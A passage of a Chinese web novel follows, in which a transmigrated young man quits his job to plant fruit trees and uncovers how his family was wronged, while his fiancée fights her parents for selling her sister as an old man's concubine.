看似都是简单活,也忙到了半下午。两人正吃着迟来的午饭。杨婶就提着个竹篮过来了。
“哎呦,橙姐儿,你可让我一顿好找,”她这一边说着一边笑着朝两人走来。
许橙忙着站起来接她“什么事,杨婶?”
“你看你急得,好事,好事,”说着又笑了起来。
笑完她还慢悠悠的掐了口茶,一副要让两人猜的模样。
许橙生怕是她那家里又搞了什么幺蛾子,急得不行“婶子,您就别卖关子了?”
“行,行,行,昨儿各我去卖绣品,你猜咋了,人家接了个大生意,要几个绣娘,你绣活好,人可记着的,给你留了个位,这不让我来寻你问问。”
24. 辞职
“你可倒好,几天几天不回家,?我这才寻到这来”。说完还撇了陈秋树一眼,意味深长。
许橙下意识的看向陈秋树,不自觉的抓起了衣角。
“杨婶,这可是真的?,我明日过去可还来得及吗?”。
杨婶喜笑颜开“来得及,来的及,人说了,让你直接去就行。”
“好,麻烦婶子跑一趟”
“不麻烦,几步路的事,”她看了看两人,拉起了许橙的手感叹道,“我说是吧,这日子就越过越好了”
“婶子说得对,”陈秋树笑着回答。
“好了,你俩继续吃,我就不打扰你们了还有点事儿”
终于有了个拿的出手的本事,许橙悄悄瞄了一眼陈秋树,心里有点小开心。
陈秋树给她夹了一块排骨,没错过她眼里的小得意,心里跟着一起乐。
晚上两人收拾了一些清河郡带回来的特产,一起去了一趟王家
王家生意并不算很好,陈秋树做的吃食并不难做,时间久了总有人学得会,陆陆续续也有旁人支起了摊,更何况这里的小吃其实并不少,如果没有过硬的手艺确实很难赚到什么大钱。
他家有了点钱就就让王旭找了个老秀学识字去了。对于这一点陈秋树还是很支持的。
王冬冬和王小妮还是小孩子心性,只知道家里日子好过了,收到许橙递过去的吃食,开心得围着两人团团转。
陈秋树把想好的事说了一下“王叔,从明天开始你摆摊的钱,不用给我,我打算做点新的营生,而且还有酒楼给的月银,暂时不缺钱”
王贵惊得差点拿不稳手里的饭碗,哆哆嗦嗦的说,“那哪行啊,不行,不行,我王家那能是忘恩负义的人”
“王叔,你听我说,那一百文对我来说,可有可无,你们多攒点,等冬冬和小妮大了,也能送去私塾或者找个先生学认字,将来也好多条出路”
做父母的总是想为孩子多想些,这话算是说在了王家夫妇的心坎里,他们知道啥也不会,啥也没有的日子多辛苦,忍不住偷偷的抹起了眼泪。
从王家出来陈秋树送许橙回家,叮嘱第二天来接她两人一起去县城。
许橙半是撒娇的说“知道了,你不要来接我,马车不好过来,我过去就行”
陈秋树借着月光看她,他现在像是偷吃了蜂蜜的熊,时时刻刻都想亲一下。
忍了忍最终在她的额间碰了一下才匆匆离去。
许橙一直站着看他走远,她的家没有让她感受生活应有的温暖。
但是现在她想能与陈秋树一日三餐,看太阳东升西落,她本对爱没有幻想,但陈秋树来了,她便希望陈秋树能一直爱她。
翌日,陈秋树先把许橙送到了绣坊才去了玉友楼,
这次请了六天的假,说起这事,他也不好意思,也就是有谢为迁的这层关系,不然早就被扫地出门了。
接下来他的事情只会越来越多,长期这样三天两头的不去,不是个事儿。
手里攒了些银子,暂时不需要花什么大钱,他决定辞职,自己自觉一点,也不让别人难做。
想好后没有过多犹豫,直接去找了吴掌柜说清楚,。
“什么!”
吴掌柜起先还惊了一下,最近秋收刚结束,大家伙也有闲钱出来吃点新鲜的,确实有些忙不过来,晕头转向时他难免会因为陈秋树告假而心生怨怼。
.不过仅仅也只是口头上说两句,乍一听陈秋树不干了,心里又不愿意起来,他那里去找一个算账利索,又聪明能干的人,而且陈秋树还没有那些读书人弯弯绕绕的讲究。
心中那些不满的小九九顿时烟消云散。
转而和颜悦色的问道“是不是家里有什么事情脱不开身,你说说,我看看能不能搭把手?。”
陈秋树没打算满着,说不定以后还有找人帮忙的地方。
“并无大事”
“我前些日子买了一批果树苗,今后怕是要尽心伺候着,日后好做些卖果子的营生。”
吴掌柜皱起眉头,这就难办了,若是家里有什么难事,他指不定还能帮上一二。
但这……人青年才俊,有自己的鸿鹄志气。他总不能拦着不是。
半响,才叹了口气,“既然这样,我要强行留你,反而当了个坏人”
“这几日你先做着,等找到人来了你先带带?”
陈秋树无不应答“好,多谢掌柜”
吴掌柜摆摆手“客气啥?,去忙吧”
陈秋树心里的大石头终于落下,接下了他要尽心尽力干自己的事了,总不能让许橙跟着自己吃苦。
————
下值后,他又去绣坊接许橙回家。
两人一路慢慢晃,有时马儿还要去尝尝路边的野草。
陈秋树把辞职的事情又和她说了一遍,昨天他就说过自己今后的打算,这份营生无论如何都是顾不上的。即便当时许橙表示支持,他心里还是有些担心,忍不住去看许橙的脸色,毕竟六两的月银,就这么没了。
而他做的事情,短时间内又看不到成果。
许橙就没有想那么多了,她对陈秋树有很深的滤镜,觉得他做什么都能成功,并且他们已经定了亲,是要成亲的,不是说嫁鸡随鸡,嫁狗随狗吗?何况她也会赚钱呢?绣坊一月能得二两月银。
压根没有注意到陈秋树的那点不安,点点头道:“恩,好,那我以后跟王叔他们一起到县城?”
这种百分百信任的模样,大大的满足了男人的虚荣心,陈秋树愉悦的笑了笑。
“不用,我送你过来,他们还在招工,没有那么快。”
实际上还是挺快了,没过两天吴掌柜就领了一个年轻的男孩过来。
“来认识一下,
“这是陈先生,你今后好好的跟他学学”
男孩抱手行了个礼,声音清亮“见过陈先生”
陈秋打量片刻,心里猜测着这孩子多大,看着不过十六,妥妥的童工!
吴掌柜给他介绍“这是常越,之前在私塾学过算术,还望先生多担待”
“不必多礼,我自是会尽心。”
后来陈秋树才知道,吴掌柜一连招人好几个人结果不是这不行就是那不行,总之有了陈秋树的对比,便是哪哪都不如意,后来想起有过几面之缘的小可怜虫,便把人寻了过来考问一番,看他算盘打得挺溜,就想着把人带过来试试。
常越确实可怜,消失的爹,爱堵的娘和弱小的他,一天饿三顿的他靠着胡同里的邻居帮衬活到了十岁,年纪小加上营养不良,更是啥
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也干不了,靠着脸皮厚天天在街上到处问需不需要帮忙以此获得给别人跑腿传话的机会一天赚个几文钱,
即是如此还得仿着嘴里扣出来的几文钱被他娘偷去输掉。
水深火热的过了两年,终于被心善的私塾先生领回去在书院里做起了杂活,。先生看他做事机敏,便教了他算术。
然而近来不知得罪了那家公子少爷,身世被书院的扒了出来,书院以影响学子为由罢免回家。
吴掌柜以前在街上遇见过他几次,还送了些东西,
私塾的事也是后来无意间得知。
孩子很聪明,一点就通,跟在身后学得尽心尽力。
陈秋树也算是过上了抬手就有水的日子。
有了常越都帮忙他难得清闲,日子一晃又是半个月,
终于迎来了一件让人欣喜的事儿,葡萄生了根,接着便是要准备移栽,
现在并不是很想让村子里的人知道是怎么种出来的,如此费尽周折自然是要挣第一波钱,谁要亲自培养出竞争对手呢?。
找了王叔王婶加上许橙几个人自己干了,这事也挺简单。
把生了根的葡萄苗连着土一块栽地地里就好,美颗幼苗中间隔一米。,刚刚种下的的葡萄苗不需要如何施肥,虚不受补。等长出三四片叶子的时,施肥的次数就得勤快了。扦插苗比起种子培养要生长得快,生长过程中不易发生异变。来年便可结果,长出来的果子口感纯正。
一块坡地种了三分之二,王叔帮着还在土地边缘围了圈竹栅栏。从外面看去只能看见一节节细小的干树桩。并不能分辨出种的是什么东西。
而长溪村连葡萄都难见更何况是葡萄苗了。
地二天出门时果不出所料有人来问,
陈秋树说道到“买了一批葡萄苗来种,将来结果婶子们都来尝尝”
成秋树现在只是不想让人知道怎么种。至于种的是什么,乡里乡亲早晚都得知道,不如大大方方的说出来。
一时大伙嗟吁不已,纷纷阻劝
“这果子那能当饭!,陈小子你可别想不开,这么大块地,可不要糟蹋了”
“哎呦,这果子树还不知道得长多少年才结果?,”
“啧啧,还是家里没个长辈把着!”
陈秋树一一听着,笑着同她们说“婶子们也知道,我自小没种过田,这地空着也是空着,想着种些果子卖,将来也好养家糊口”
虽然他怎么说,大家心里都闷各儿清,这地里不种粮食,日子一天天的,吃什么?。
这时杨婶跳出来打断了众人的七嘴八舌。
“你们就是瞎操心,可别忘了人陈小子是个有本事的,可是在酒楼里当账房,一个月好几两,哪里能饿着自己……”
陈秋树“:………………”
许橙赶紧上前把杨婶拉到了一边。不让她在说下去。
不然过几日陈秋树不去上值。还不惹来更多人说教。到时候说自己不想去了,不得扣个不知好歹的名头。
要说是被罢免了,还不要惹来闲话。不是有句话叫,一边可怜人一边又看不起人。
村子里的话题一下又转到了陈秋树身上,不出两天全村人都知道他种了果树苗,甚至有人结伴到他地里去围观只长了个芽的葡萄藤。
25. 干架
对此,陈秋树无所谓,他正在闷头干臭事。在酒楼拉了好几筐不要的瓜果皮烂菜叶子,又花钱买了鸡内脏,鸡毛。在家沤肥。
把这些东西放在一个大缸里一层一层的堆起来,密封好,等发酵了就是上好的有机肥。
许橙坐在旁边双眼一眨不眨的盯着他,一点没有偷窥他人的羞耻感。
“陈秋树,你怎么什么都会?”,语气黏黏糊糊充满爱意。
陈秋树手脏,不然高低得去摸摸她的脑袋,这种夸赞多多益善,他很受用。
这边常越学得越来越好,已经可以自己上任了,陈秋树准备再去一趟清河郡。
已经十月份了再不去时间上会来不及。这个时候最适合种树,养一个冬天的根,来年刚好发芽。
可惜的是这次不能带上许橙,绣房那边还在赶货,她便是想去也去不了。
因为有具体的位置,路上不用去打听,,许橙给他做了好些干粮,窸窸窣窣带了不少东西。两人站在门前依依不舍。
“路上小心,这样赶车也没个人说话,累了就在县城休息买点吃的喝的”许橙一边把东西往车上放一边叮嘱。
陈秋树应下,又不放心的交代“你那屋子偏,夜里小心些,锁好门窗,有事就去找王婶。”本打算让许橙暂时先住过来,想必她是不肯的。陈秋树只好麻烦王叔家夜里谨慎些,注意点那头的动静。
说完,陈秋树把她拉过来轻轻抚上她的脸,拇指在眼下摩擦,看她微微发红的耳廓,温声道,“绣活绣累了就起来看看远方,别伤了眼睛。”
许橙抬头,恰好对上男人担忧的神情。眉眼舒展开来,“那……要抱一下吗,”说完便伸开了双手。
陈秋树愣了三秒,忽然低头笑了起了,自然的把许橙拥进了怀里,紧紧抱住。他会把身体养好,要长长久久的陪着许橙。
脸上忽然传来温热柔软的触感,少女身上淡淡的桂花香味萦绕鼻间,她用了柳丁香送的香膏
陈秋树:……不想去了
许橙把踮起的脚尖放下,害羞的侧过目光,声音轻轻说“早些回来。”
等马车走远,她才回过神来,刚好对上了许水秀的那双死鱼眼,险些吓了一跳。
“你干嘛站这里!”
许水秀冷冷开口,“成亲了吗?,就这就那,怎么不把你俩给害臊死?”
“呸,不知分寸的野男人,”
这么说许橙就知道她什么都看见了,“顿时闹了个大红脸,”一张嘴巴吞吞吐吐“你这人……怎么偷听别人说话”
许水秀撇撇嘴:“我偷听,咋不见你俩躲着亲?”
许橙算是怕了她了,赶紧去捂她的嘴,“你别乱说,不是你想的那样,我俩情投意合”
“情投意合,那也还没成亲?”
两人打了一会嘴仗。
许橙才问起了正事,“说吧啥事,是不是找我的?”
“你都要定亲了,还能卖了不成,那还有你什么事。”
说完她双手托腮,一脸忙然的盯着前方。
许橙第一次看这个咋咋呼呼的妹妹这副表情,用肩膀撞了她一下。
“咋了,你娘卖你了”本只是打趣的话
谁承想许水秀叹了口气说“可不就是”
许橙皱起眉头,她属实想不到张翠芬能这样对待自己的亲生女儿。
许水秀撇了她一眼,“你什么眼神,可怜我,我告诉你,我嫁的可是富贵人家,你可知道县城里刘家,那可是大户人家,我是去享福的”
说完轻轻抬头看天,眼泪要掉不掉的在眼眶里打转。
许橙拿出手帕给她擦了擦。
“水秀,我…………”
许水秀八手帕还给她“你别管,嫁谁不是嫁,好歹不用在地里刨食”
“今日的聘礼,后日便成亲”
许橙:“怎么这么急,纳彩了吗?”
许水秀没有说话。
村里有喜事大家热热闹闹去看
许家嫁女,席面办得风风光光,那菜好得人家惊掉下巴,荤菜又多又满,个个吃都嘴巴流油,好话像倒豆子一样一句接着一句。
许橙站在花轿侧面隔着窗户和掀开盖头的新娘对视,他抖着唇轻声喊道,“水秀……你可以下来吗?”
里面的人只是轻轻瑶了瑶头放下了红盖头。
许橙眼中含泪,站在原地看着轿子在爆竹声中越走越远。她原本以为水秀会是嫁给刘家一个籍籍无名的后辈,在不济哪怕是个痴傻的也行。谁知竟是给那刘家老爷做妾,还是十六房小妾,这是得了多少银子,才做出这种卖女求荣的事。那老爷比水秀爷爷都大。
就这一刻,恨意如朝水涌来,心中的怒火无处释放,
许橙来到张翠芬面前,看着她正在收拾席面剩下的酒菜。
“哐当——”
一桌碗盆全部打翻在地,饭菜汤汁溅了满地,几个帮忙的婶子吓得退到门外,
张翠芬睚眦欲裂,吼道“小蹄子,你干…………”
还不灯说完,迎面挨了一巴掌,火辣辣的痛让她头晕目眩。
许橙不想说话,不想解释更不想大喊大叫装可怜,
他和张翠芬扭打在一起,巴掌一个劲的往脸上招呼。不知道是不是气急了力气大,几个回合下来,张翠芬竟是被她按着打。只能一个劲的哀嚎。
周围的人都被这场景吓傻了,哪里还敢去拉架,
“你疯了,逆女,还不快放手!”,喝得醉熏熏的许顺财姗姗来迟。
许橙顺势捡起地上的破碗砸过去,立即从张翠芬身上起来,一脚踢翻了站不稳的许顺财,趁他倒地,上前就是一顿拳打脚踢,哭着过来拉她的许平也挨了两巴掌推到一边。
许橙打红了眼,恨不得把这对夫妻打死了才好。
她很是后悔,应该早点问清楚。,现在怎么办?,对面迎亲的那么多人,他该如何在这样的情况下带走水秀,只怕是还没动手,便要被丢出几里地。
最后还是王叔带着王旭王婶和杨婶一家过来,才把几人拉开。
张翠芬顶着一头乱发坐在地上,高高肿起的脸颊上布着几道抓痕,哭着嚷嚷要报官,亲闺女打老子没有天理。
许橙心里冷笑:“你去报,刚好人大家看看你是如何卖的女儿!”
王婶这会儿已经得知了来龙去脉,听说要报官,急得团团转。
谁知一群人浩浩荡荡还没走出村子,就被拦下了,来的是个高壮的妇人,仔细看才知道是刚刚了接亲的麽麽。
她昂首挺胸的说道“今儿可是我们刘府大喜的日子,你们这是闹啥,可别
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触了我家姥爷的霉头,到时候是好是坏可怪不得别人!”
说完还警告的看向了许家夫妇。
“你二人若是知事儿,此事便罢了,莫要在闹,”
许家夫妻是典型的窝里横,一听是刘家就吓得半个屁都打不出来,事情就此草草了结。
——
许橙半靠在床头,王婶拿着药膏给她擦脸上的伤口。嘴里絮絮叨叨的说话。
许橙这时才得知原来是王婶得他们要报官,便让王旭去追了迎亲的队伍。她家和许橙家挨着,知道这两姐妹有感情,此事又因许水秀而起,她不会不管。
当时许水秀听见王旭的叫喊声,硬是以死相逼,逼停了队伍,,随后又让人去告诉他们,若是执意要报官,她便是撞死也不成这个亲。
没办法,老嬷嬷只能去做,毕竟自家姥爷可看重这位姑娘的颜色,容不得闪失。
“多谢婶子“许橙诚心的道谢。
王婶叹了口气“谢什么,只要陈小子回来不要怪我才好,哎呦,你瞧瞧这,可不要留疤才好!”
“你说说你,可是冲动了?”
许橙默了默,“没有他们这样当爹娘的”
“这事我也知道了,但是日子都是自己过出来的,水秀漂亮又聪明,你可别太担心,大不了以后常去看看”
许橙没有多说,淡淡的回了一句“好”
但她知道这第十六房妾室,没有娘家庇护,如何独善其身。
王婶让她好好休息,晚上别做饭,到时候给她送一碗过来。
许橙裹着被子缩在床角,神色厌厌,
请了一天假,从许家回来后一直躺到第二天早上才去了绣坊,连王婶送来的晚饭都没有吃。
————
陈秋树赶了一日马车才来到了当时去清河郡时路过的吴县,休息了一晚,第二天才去了那户人家,敲了敲门,没见响应,估计是没人在家,只得在院墙外默默观察。
上次路过时只是匆匆撇见了那两颗桃树,并没有停下来仔细看看。
如今看这枝杆,的确是两颗有些年头的蜜桃树。就是不知是硬蜜桃还是软蜜桃?。
他正想得出神,忽然听身后传来询问声:“你找谁?”
陈秋树回过身只见两个白发苍苍的老人站在门口,手上都拿着农具,一脸防备的看着眼前的陌生男子。
陈秋树怕吓到他们,放缓声音说:“老人家,我是常山郡过来的,之前路过您这儿,见这两颗桃树极好,这次便想来问问,这两颗树可有买卖的想法?”
看他自报家门,两个老人明显没有那么紧张。
但还是有些胆怯的说:“不卖……不卖,这是孩子种的”
陈秋树本来也不打算买这么大的树,运都没有办法运回去。
他说“老人家,您别急,我不过是想要买些枝杆。您这树长得太高,想必也不好摘果,可否卖些枝杆”
听他不要树,两个老人放松下来,开了院门请他进去。
老头拿了把镰刀绑在竹竿上,递给他,“你想要多就去砍吧,别伤了树根就行,”
两个老人沉默寡言,老头坐在门砍上抽旱烟,老太太折着刚刚割来的白菜,不知什么原因忽然抹起了眼泪。
老头没说话,只是伸手给她擦了擦。
26. 许水秀
陈秋树不需要太多,只砍了几棵生长到院外的枝丫。
两个老人沉默的坐在树枝落下的阴影里。
他是个外人,自然不好去问老人抹泪的原因,
只好硬着头皮问“老人家,你看,我该给多少银子?”
老头摆摆手:“你看着给吧,不值几个钱”
“家里没什么菜,就不留你吃饭了”便是下了逐客令。
陈秋树看着只有两个老人的屋子,不敢去随便去猜测。
从荷包里拿了一两银子放在了桌上,没敢上前去打扰二老。
趁着天明赶着马车回吴县,昨天夜里下了雨,泥巴小路上全是小水洼。
马车摇摇晃晃的在路上前行,眼看快到吴县的城门口,车轮却好巧不巧的,压进了沟里,
马使劲往前拉了拉。徒劳无益。
他只能下车去看,车轮馅进了沟里,被雨水浸湿的泥土堵住,往前一走就直打滑。
心里吐槽那个糟心的在这里挖沟,这条小沟衡在路上,边上长了些杂草,加上下雨地湿。不注意看,根本看不出来。
去的时候沟的那边要低一些,并没有卡住,,陈秋树只当压着石头或是路面不平整。
这会儿他一个人,费了好大力气才把车轮从沟里面抬上来,,捡块石头放车轮底下,防止抬另一边的时候,这边滑下去。
一个高高壮壮的男人从城门口出来。隔着几米远的距离就喊,“这位兄弟,马车卡住了?”
“你等着,我这就来”
陈秋树还没来得及客气几句。
就见他急步上前来帮忙,陈秋树见他使力,也绕过去搭把手。
陈秋树:“多谢,不然我还不知道弄到什么时辰”
这男人看着跟陈秋树一般大,个子差不多,就是壮实不少,一身的腱子肉。。
笑声爽朗,露着一口白牙说:“下雨天这路就是不好走,以前我赶牛车也卡到过两次,要不是这沟要留着过水,我早给它填了”
“这条路只通我们村,我看你挺面生,不是村里人?,”
陈秋树明白了,这兄弟是个自来熟。他说“我来这里买点东西”
一听来这里买东西,男子来了兴趣,看车上空空荡荡,只有几颗树枝。心里还想问买的啥?。忽而眼睛一亮,拿起了树枝。
“咦~这不是我家桃树吗?,这只有我家有,
你去我家了?”
他眼里闪这激动,不给陈秋树开口的机会接着问“那你瞧见我爹娘了?,他们怎么样?,,还好吗?”
“都怪我当时没来得及找人捎个话,他们肯定是等急了?”
陈秋树没想到会这么巧,不知怎么回答,只说“瞧见了,我走的时候他们正在吃饭”
男子拍了他肩膀一下,那力道,也不知道是干什么的。
“多谢相告,我先回去了,兄弟有时间过来玩”
说完头也不回的飞快跑走。
…………
有人帮忙自然轻松轻松,这马车是实木的,般起来很是费劲
陈秋树赶着马车慢悠悠的进了城门,明天就可以回家了,他买了好些家里没有的点心给许橙。
而他不知道的是,这位好心的男子一路小跑回家,隔着那到熟悉的小木门高喊出声“爹娘,儿子回来了”
门内传来东西落地的声音,男子推门而入与泪眼婆娑往门外走的老母亲相拥而泣。
“娘,儿子不孝,回来晚了”
老太太轻拍着儿子的肩背,哭着说“我的儿,回来就好,回来就好,我就知道你会回来”
旁边的老头忍不住抹了一下眼角,
男子把父亲也一并搂入怀里,三人抱做一团,
“回来就好!”
男子五年前去服兵役,两月前退役归家,哪知最后一次剿匪时好友不幸受伤,为了送他回乡,这才拖到现在,当时吴县过去服兵役的人并不在一个军营,等他找到地方时,吴县的人已经在回来的路上。没来得及赶上给父母捎句话,后来他有请人写信,但看这情况,他爹娘只怕是没有收到。
而这边两老口得知儿子要回来,天天在村口翘首以盼,一天天,快一个月了,还不见人,现在并非战乱时期,不需要每家每户出人,服兵役都是抽签决定,他们村就去了两个,两个都没回来。
两老口跑了好几个村,该回来的都回来了,没回来的也回不来了。
问了一圈,都说回吴县的人并没有一个叫刘大壮的。
两老互相搀扶着回家,没哭没闹,和往出一样下地种田,直到看见和自己儿子一般大的陈秋树。
这才忍不住抹了眼泪,这一哭,这些日子绷着的弦就断了。
“幸好,还是平平安安的回来了”
————
陈秋树回到长溪村已经死旁晚。,他树伸了伸胳膊,可算是到了。就是这气氛好像不太对劲,这会儿大家刚刚从地里回来,村子里很热闹。
陈秋树隔着老远就看到几个人嘀嘀咕咕,看到他来,就一窝蜂散开了,甚至还用眼神的躲躲闪闪的瞄他,这样的行为多了,陈秋树也也发现了其间的异样。
咋回事?。他又在风口浪尖上了?
最近几天没在村里,那来的新闻。?
刚好看见杨绍过来,便询问了几句。
“听说昨儿个许橙和他爹娘打了一架,你还是快回去看看吧?”
陈秋树担心得很,等不到把车上的东西卸下来,连马带车栓在马厩里。就去了许橙家。
许橙刚刚从绣坊回来,正往灶火里添材柴煮粥。
房门被敲响,以为是王婶又过来送饭,心里很是感动。
忽而睁大眼睛:“你怎么来了?”
她心里慌了一下,下意识把受伤的脸侧过去。不想被这人发现。
但怎么能藏得住?陈秋树进门就看见了她嘴角的淤青。皱着眉,很是心疼。
“让我看看”
动作轻柔的掰过许橙脸,脸上有几道抓痕,嘴角有很明显的淤青,一定很疼。
“他们欺负你了。”
许橙心里很难受,不敬长辈,殴打爹娘,欺负幼弟,外边怎么说的她都知道,,她总是把事情弄得很糟糕。
“没有,是我先动的手”,不敢拿眼睛去瞧对方,她把许水秀的事情简单说了。
陈秋树将人紧紧拥入怀中,感受她瘦弱的身躯微微颤抖。一股难以名状的心疼,自心底翻涌而出。
他知道,在许家的十几年灰暗时光里,只有许水绣
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给过她一丝人家的温暖。
“如果很担心,明天我同你一起去看看她?”
怀里的脑袋用力点了点,环在腰上的力道紧了几分
陈秋树拉着她到灶前,把锅里面的青菜粥盛出来装好。
“到我那里去吃,给你带了好吃的”,陈秋树勉强一笑。
许橙垂着眉眼,睫毛上还挂着泪珠子。乖乖的跟着人走了。
————
陈秋树带了许多的吴县特产,最好吃的是羊肉饼,饼皮油香酥脆,羊肉鲜美没有膻味。在锅里随便剪一下,一口下去肉香扑鼻。许橙配着粥吃刚刚好。
又拿了几样这里没有的点心和小零食放在桌上。
“多吃点,这饼放时间长了不好吃”
许橙点点头说“很好吃”
陈秋树目光温柔如水,感受到她的情绪没那么低落,于是也拿着饼一起吃。
晚上陈秋树看着许橙闭上眼睛呼吸平稳后,给她掖了掖被子,才离开客卧去休息。
…………
刘姥爷新得了位年轻的美娇娘,整天如沐春风,连下人的日子都好过了一些,不得不叹还是这十六姨娘有本事。
许水秀衣着的轻薄至几乎透明一边给刘老爷按肩,一边不得不使出那些烟柳之地才做的事儿。讨好这个靠吃药行夜事的老东西,希望这样自己以后的日子也能好过点。
刘老爷也两手不不闲着,分别在许橙子的手背和大腿处滑来滑去。
堆着褶子的脸上露出猥琐的笑。想要把身后的美人拉进怀里。丝毫不见美人翻起的白眼。
他正想着白日宣淫门,外有小斯来报说是姨奶奶的家人来看望。
刘姥爷的脸垮了下来,更加显得老态龙钟。
他冷冷的斜了许水秀一眼,“今后离你那些穷亲戚远点?”
许水秀扭着腰肢,一举一动妩媚勾人,亲了这老不羞一口,“可能是我姐姐,这会过来,只怕有什么急事?”
“妾身真是很担心~~”语气千娇百媚。
刘姥爷又开心了,掐了一把许水秀的股肉“快去快回别耽误了正事。”
陈秋树和许橙在门外等了一盏茶的功夫,许水秀才姗姗来迟。身后还跟着两个趾高气昂的婢女。
许水秀递了一把铜钱给两人吩咐道:“听说一品香出了新膏点,你俩去买些回来尝尝,我和我姐姐说几句话就回去”
等人离开了许水秀才走到两人身边,看了眼陈秋树。
陈秋树松开许橙的手说“我在那边等你?”
许橙笑了笑“好,我一会就来”
门口只剩她们两个人
许橙看着许水秀忽然间感觉她变了许多。眉眼间的天真消失不见楞楞的问“水秀,我感觉你好像长大了许多?”
许水秀轻嗤“可不是吗?,哪里像你,永远不长记性,我有没有告诉过你,什么都别管,你看看你的脸?,将来可别遭了嫌弃。”
见她说话依旧这么难听。好好的囫囵个儿站这里叭叭,许橙放心了些。
许水秀眼睛眨了眨:“你回去吧,别耽搁我享福”
说完她把一个药膏第给许橙,转身回了刘府
见她没事许橙心里轻快了不少,还能怎么样呢,以后多来看看吧,
28. 信纸
王家以前是陈家的佃户,陈秋树去问了夫妇两人真不知道当年的情况。两人绞尽脑汁把往事想了个遍,说了上午
……
但仔细听下来,并没有什么有用的信息。
王叔王婶并非家里的仆役,对于发生了什么并不清楚,只知道有很长一段时间陈姥爷病了,夫人给了银子让他们这些佃户另寻东家。
他家从外地逃难过来,两个小的孩子差点饿死,辛得陈夫人相救,成了陈家佃农。算是在长溪村落了脚,如今得知恩人是被人所害,伤心不已,说着说着忍不住掉下泪来。
陈秋树安慰的两句便离开了。
夜里他躺在床上翻来覆去睡不着,看着头顶的床幔发呆。
忽然想到什么,他娘会不会把兄弟藏在他的房间呢?
立刻从床上坐了起来在自己的房间里翻找,不肯放过每一个角落,一寸一寸摸索,终于在床与墙的缝隙里发现一块松动的砖头。
里面塞了好几张信纸。
他一张一张的挨着看,上面记录了刘家如何逼迫他们拿钱的全部过程。正如谢为谦所说,正是县令,刘家,张家,他家两个姨娘,里外勾结一同陷害
——
陈父意识到的时候甚至想鱼死网破,平阳县的县令不是东西,那就告到长山郡告到定州,他不信讨没有公道。
只是后来发现根本就出不了平阳县县,与那些人周旋了半个月,最终他无能,只能妥协,只求这些人能留他妻儿一命,不然他就是死也要将此事闹得全城皆知。
估计是他狗急跳墙不好收场,那些人答应了,后来没有杀人灭口,也是觉得一个妇人和一个病秧子翻不出什么浪花。
最后是她娘的绝笔,愿:吾儿忻泰心身康健
从记忆里得知原身娘就从未向他透露过这件事情,
事情积压在她心里,久而久之,积劳成疾,郁郁而终
陈秋树忍不住掉了眼泪。不知是不是是不是这具身体的原因,他的心里充斥着浓浓的悲哀与难过。
————
许橙正在睡觉,迷迷糊糊中听到有人敲门,吓得从床上坐了起来,把枕头下的剪刀藏进怀里,心里慌得不行,哆哆嗦嗦的拿了把扫帚,不远不近的盯着门屏住呼吸。
生怕一个不注意就闯进来一个匪徒。
半响,门口安安静静,就在她以为是幻听时,门外传来了叹息声和脚步声。
许橙汗毛都立了起来,怕得要死,隔了几息才踮着脚轻轻移到窗户边,
轻手轻脚的把窗户打开一个缝隙,慢慢往外推,想看看门口到底是什么人。
夜色漆黑如墨,寂然无声。只见一个模糊身影坐在门口的石阶上,在寒风凛冽的冬日夜晚有种漠然的孤独。
什么人半夜三更会在门口呢?,这几天陈家发生的事情多,她心里有个猜测,忐忑的开口喊了一句“秋树哥?”
陈秋树没想到自己忍不住敲的两下门,竟然真的把许橙吵醒了,原本只想着坐一会就走,他两辈子都没什么亲人缘,许橙是他未来的妻,在这个世界唯一的慰藉。难过的时候就想见一见她。
许橙忙不迭的跑去把门打开
外面的人也不知道在外面坐了多久,身上冰凉带着寒风。
她摸摸陈秋树的的脸又搓搓他的手,心疼得不行。陈秋树体弱多病,这大冬天的,可不要冻坏了才好。
把还带着温度的被子给陈秋树披在身上,自己裹了袄子就去灶房生火。不一会就提了一桶热水进屋。
陈秋树一直注视着她,看她为了自己忙的团团转,心里那股郁气渐渐消失。他们会是一家人。
许橙没有注意那双像看星星的眼睛,自顾自的帮他脱了鞋袜,把脚放进热水盆里,又从桶里拧出帕子给他擦手擦脸。
把人收拾好后,又往被子里塞了个汤婆子,才出门去倒水。
陈秋树没有睡,半靠在床上等她
刚开始两人还有点不好意思扭扭咧咧,等躺在床上后,陈秋树立马贴了过来搂着她的腰。
许橙像刚刚发现门口有人一样心口砰砰直跳,
“你……干什么?”
“你床上很香”
“……”
许橙翻身和他面对面,,在他嘴角亲了一口。手掌轻轻在他后背轻轻拍。
“睡吧,很晚了”
一觉醒来陈秋树醒来心情好多了,看见许橙端了早饭过来,后知后觉的感到羞耻,大半夜跑到未婚妻家门口哭,实在太过丢人。
羞愤的感觉让他挠头抓耳三秒钟做了十八个假动作。
许橙“…………”
吃完了的是白米粥,和鸡蛋饼。两人赶着马车一同去了县城,许橙还要去绣坊做活,估计得要做到过年前后。
路上陈秋树把在家里找到的信纸和刘家的事情跟许橙说了。
许橙很是惊讶,同时又很担心刘家会不会伤害陈秋树。“你会不会有危险,不然先去外面躲躲?”
陈秋树见她紧张自己,心中暗爽,面不改色说“别担心,他们现在正在风口上,不敢做什么,我这几天过去瞧瞧,打探些消息。”
许橙还是担心“你一个人去,万一被他们发现,岂不是羊入虎口,不行,我不放心”
“我找人去看看,不自己去”
说找人便是真的找人,这时候他还真不好凑上去,毕竟以前他小,不知事还有病,也是这些人能放过他的原因之一。
给了两个乞丐三十几文钱,他俩能把这事情办得妥妥的。
不出几日就带来了消息。
听说这刘家家主从公堂回来那天气得砸了不少东西,他刘家在平阳县就如同土皇帝,这些人凭什么都要和他对着干?
家中小辈怕他气厥过去,上前帮着顺气拍背。
还说那日夜里家中有两个姨娘还失足落了水。
陈秋树心里咯噔一下,想起了许水秀。问道“两位可打听到落水的是那位姨娘”
两人你看我我看你,一起摇了摇头,
“倒是见到一个鬼鬼祟祟的女人来找了玉娘子好几回”
“玉莹?”
两个乞丐一脸懵逼,挠头抓耳。
陈秋树神色冰冷,给了两人一百文钱,说“麻烦二位下次看见那个鬼鬼祟祟的女人出现,就到王大叔的摊子前寻我!”
二人得了铜板,一边点头哈腰的道谢一边保证完成任务。
这边许橙频频走神,绣花针刺中了指腹好几次,疼的她回过神,一只蝴蝶不知被绣成了什么鬼样子,只能拿剪刀拆了从绣。
第二天她请了半日假,带上了自己全部的家当,和陈秋树一起去刘府看望许水秀。看望是假,她想把人叫出来,让她离开这个是非之地。刘家不是
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个好去处。
陈秋树自然不能露面,偷偷的躲在远处观望。
许橙敲了好几次门,管事才出来说了句,刘姥爷身体抱恙,谢绝见客。棕红色的大门就再也敲不开。
